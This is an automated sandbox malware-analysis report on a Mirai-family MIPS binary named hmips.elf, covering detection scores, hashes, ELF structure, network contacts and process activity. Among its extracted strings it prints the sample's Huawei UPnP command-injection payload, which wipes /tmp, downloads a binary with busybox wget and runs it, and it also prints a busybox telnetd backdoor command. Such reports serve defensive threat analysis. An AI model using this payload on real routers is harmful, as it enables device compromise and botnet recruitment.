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Linux Analysis Report
hmips.elf

Overview

General Information

Sample name:hmips.elf
Analysis ID:1575512
MD5:b8cdedb934e54e37ca4960648267e726
SHA1:bdbbcc5d093b0401fd011650cd58876146810ed8
SHA256:8f0f687db309bcae6e8ac78502fc00edac03260c2ee0c843c295f6d2057f9053
Tags:elfuser-abuse_ch
Infos:

Detection

Score:56
Range:0 - 100
Whitelisted:false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Executes the "rm" command used to delete files or directories
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Joe Sandbox version:41.0.0 Charoite
Analysis ID:1575512
Start date and time:2024-12-15 20:30:58 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 5m 0s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:hmips.elf
Detection:MAL
Classification:mal56.linELF@0/0@0/0
  • VT rate limit hit for: hmips.elf
Command:/tmp/hmips.elf
PID:6263
Exit Code:0
Exit Code Info:
Killed:False
Standard Output:

Standard Error:
  • system is lnxubuntu20
  • hmips.elf (PID: 6263, Parent: 6188, MD5: 0083f1f0e77be34ad27f849842bbb00c) Arguments: /tmp/hmips.elf
  • dash New Fork (PID: 6274, Parent: 4333)
  • rm (PID: 6274, Parent: 4333, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.b3haOvGk06 /tmp/tmp.DcROtKYkq4 /tmp/tmp.6l0QhfXdei
  • dash New Fork (PID: 6275, Parent: 4333)
  • rm (PID: 6275, Parent: 4333, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.b3haOvGk06 /tmp/tmp.DcROtKYkq4 /tmp/tmp.6l0QhfXdei
  • cleanup
No yara matches
No Suricata rule has matched

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Source: hmips.elfAvira: detected
Source: hmips.elfReversingLabs: Detection: 52%
Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknownTCP traffic detected without corresponding DNS query: 34.249.145.219
Source: unknownTCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
Source: hmips.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: hmips.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: unknownNetwork traffic detected: HTTP traffic on port 43928 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 39258
Source: unknownNetwork traffic detected: HTTP traffic on port 39258 -> 443
Source: Initial sampleString containing 'busybox' found: /bin/busybox telnetd -p 23
Source: Initial sampleString containing 'busybox' found: /...telnetd/bin/busybox telnetd -p 23
Source: Initial sampleString containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox rm -rf /tmp/*; /bin/busybox wget -g
Source: Initial sampleString containing 'busybox' found: -l /tmp/kr -r /hmips; /bin/busybox chmod 777 * /tmp/kr; /tmp/kr huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sampleString containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox rm -rf /tmp/*; /bin/busybox wget -g -l /tmp/kr -r /hmips; /bin/busybox chmod 777 * /tmp/kr; /tmp/kr huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: ELF static info symbol of initial sample.symtab present: no
Source: classification engineClassification label: mal56.linELF@0/0@0/0
Source: /usr/bin/dash (PID: 6274)Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.b3haOvGk06 /tmp/tmp.DcROtKYkq4 /tmp/tmp.6l0QhfXdeiJump to behavior
Source: /usr/bin/dash (PID: 6275)Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.b3haOvGk06 /tmp/tmp.DcROtKYkq4 /tmp/tmp.6l0QhfXdeiJump to behavior
Source: /tmp/hmips.elf (PID: 6263)Queries kernel information via 'uname': Jump to behavior
Source: hmips.elf, 6263.1.00007ffc44820000.00007ffc44841000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-mips/tmp/hmips.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/hmips.elf
Source: hmips.elf, 6263.1.0000562734317000.000056273439e000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/mips
Source: hmips.elf, 6263.1.00007ffc44820000.00007ffc44841000.rw-.sdmpBinary or memory string: /usr/bin/qemu-mips
Source: hmips.elf, 6263.1.0000562734317000.000056273439e000.rw-.sdmpBinary or memory string: 24'V!/etc/qemu-binfmt/mips
ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity InformationAcquire InfrastructureValid AccountsWindows Management InstrumentationPath InterceptionPath Interception1
File Deletion
OS Credential Dumping11
Security Software Discovery
Remote ServicesData from Local System1
Encrypted Channel
Exfiltration Over Other Network MediumAbuse Accessibility Features
CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
Application Layer Protocol
Exfiltration Over BluetoothNetwork Denial of Service
No configs have been found
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Number of created Files
  • Is malicious
  • Internet
SourceDetectionScannerLabelLink
hmips.elf53%ReversingLabsLinux.Trojan.Mirai
hmips.elf100%AviraEXP/ELF.Mirai.Hua.c
No Antivirus matches
No Antivirus matches
No Antivirus matches
No contacted domains info
NameSourceMaliciousAntivirus DetectionReputation
http://schemas.xmlsoap.org/soap/encoding/hmips.elffalse
    high
    http://schemas.xmlsoap.org/soap/envelope/hmips.elffalse
      high
      • No. of IPs < 25%
      • 25% < No. of IPs < 50%
      • 50% < No. of IPs < 75%
      • 75% < No. of IPs
      IPDomainCountryFlagASNASN NameMalicious
      34.249.145.219
      unknownUnited States
      16509AMAZON-02USfalse
      109.202.202.202
      unknownSwitzerland
      13030INIT7CHfalse
      91.189.91.42
      unknownUnited Kingdom
      41231CANONICAL-ASGBfalse
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                                              No context
                                              No context
                                              No created / dropped files found
                                              File type:ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
                                              Entropy (8bit):5.382669639055707
                                              TrID:
                                              • ELF Executable and Linkable format (generic) (4004/1) 100.00%
                                              File name:hmips.elf
                                              File size:47'360 bytes
                                              MD5:b8cdedb934e54e37ca4960648267e726
                                              SHA1:bdbbcc5d093b0401fd011650cd58876146810ed8
                                              SHA256:8f0f687db309bcae6e8ac78502fc00edac03260c2ee0c843c295f6d2057f9053
                                              SHA512:de942708811776a494f06fe0e5b6ec379b1ee97461104b4a0c464fe850f5efa9b5d16008bd6e06b2bc32c7e29e8310aa278dd2f2a0f197dcc57c9bab5d3ebb19
                                              SSDEEP:768:Rj+pKc1iIhjVPkTwoID3li7ejHBZfo3JF5JsP4qeXjEXjSRjCk5VZDZl2Q9YZOzI:Rj+pKc1iIhjxnZCsP4qeXjEXjSRjCk5G
                                              TLSH:A823A5192D728FECF36E933447B74E31A75923D226E09684D69CDA001FB034D646FBA9
                                              File Content Preview:.ELF.....................@.`...4.........4. ...(.............@...@...........................D...D.....l..78........dt.Q............................<...'.2....!'.......................<...'.1....!... ....'9... ......................<...'.1....!........'9.

                                              ELF header

                                              Class:ELF32
                                              Data:2's complement, big endian
                                              Version:1 (current)
                                              Machine:MIPS R3000
                                              Version Number:0x1
                                              Type:EXEC (Executable file)
                                              OS/ABI:UNIX - System V
                                              ABI Version:0
                                              Entry Point Address:0x400260
                                              Flags:0x1007
                                              ELF Header Size:52
                                              Program Header Offset:52
                                              Program Header Size:32
                                              Number of Program Headers:3
                                              Section Header Offset:46800
                                              Section Header Size:40
                                              Number of Section Headers:14
                                              Header String Table Index:13
                                              NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
                                              NULL0x00x00x00x00x0000
                                              .initPROGBITS0x4000940x940x8c0x00x6AX004
                                              .textPROGBITS0x4001200x1200x9fc00x00x6AX0016
                                              .finiPROGBITS0x40a0e00xa0e00x5c0x00x6AX004
                                              .rodataPROGBITS0x40a1400xa1400x89c0x00x2A0016
                                              .ctorsPROGBITS0x44b0000xb0000x80x00x3WA004
                                              .dtorsPROGBITS0x44b0080xb0080x80x00x3WA004
                                              .data.rel.roPROGBITS0x44b0140xb0140x40x00x3WA004
                                              .dataPROGBITS0x44b0200xb0200x2a00x00x3WA0016
                                              .gotPROGBITS0x44b2c00xb2c00x3ac0x40x10000003WAp0016
                                              .sbssNOBITS0x44b66c0xb66c0x1c0x00x10000003WAp004
                                              .bssNOBITS0x44b6900xb66c0x30a80x00x3WA0016
                                              .mdebug.abi32PROGBITS0x7bc0xb66c0x00x00x0001
                                              .shstrtabSTRTAB0x00xb66c0x640x00x0001
                                              TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
                                              LOAD0x00x4000000x4000000xa9dc0xa9dc5.54910x5R E0x10000.init .text .fini .rodata
                                              LOAD0xb0000x44b0000x44b0000x66c0x37383.95860x6RW 0x10000.ctors .dtors .data.rel.ro .data .got .sbss .bss
                                              GNU_STACK0x00x00x00x00x00.00000x7RWE0x4
                                              TimestampSource PortDest PortSource IPDest IP
                                              Dec 15, 2024 20:32:12.458131075 CET43928443192.168.2.2391.189.91.42
                                              Dec 15, 2024 20:32:27.318075895 CET4433925834.249.145.219192.168.2.23
                                              Dec 15, 2024 20:32:27.318578005 CET39258443192.168.2.2334.249.145.219
                                              Dec 15, 2024 20:32:27.445739031 CET4433925834.249.145.219192.168.2.23
                                              Dec 15, 2024 20:32:30.631527901 CET4251680192.168.2.23109.202.202.202
                                              Dec 15, 2024 20:32:32.679367065 CET43928443192.168.2.2391.189.91.42
                                              Dec 15, 2024 20:33:13.633663893 CET43928443192.168.2.2391.189.91.42

                                              System Behavior

                                              Start time (UTC):19:32:12
                                              Start date (UTC):15/12/2024
                                              Path:/tmp/hmips.elf
                                              Arguments:/tmp/hmips.elf
                                              File size:5777432 bytes
                                              MD5 hash:0083f1f0e77be34ad27f849842bbb00c

                                              Start time (UTC):19:32:26
                                              Start date (UTC):15/12/2024
                                              Path:/usr/bin/dash
                                              Arguments:-
                                              File size:129816 bytes
                                              MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                              Start time (UTC):19:32:26
                                              Start date (UTC):15/12/2024
                                              Path:/usr/bin/rm
                                              Arguments:rm -f /tmp/tmp.b3haOvGk06 /tmp/tmp.DcROtKYkq4 /tmp/tmp.6l0QhfXdei
                                              File size:72056 bytes
                                              MD5 hash:aa2b5496fdbfd88e38791ab81f90b95b

                                              Start time (UTC):19:32:26
                                              Start date (UTC):15/12/2024
                                              Path:/usr/bin/dash
                                              Arguments:-
                                              File size:129816 bytes
                                              MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                              Start time (UTC):19:32:26
                                              Start date (UTC):15/12/2024
                                              Path:/usr/bin/rm
                                              Arguments:rm -f /tmp/tmp.b3haOvGk06 /tmp/tmp.DcROtKYkq4 /tmp/tmp.6l0QhfXdei
                                              File size:72056 bytes
                                              MD5 hash:aa2b5496fdbfd88e38791ab81f90b95b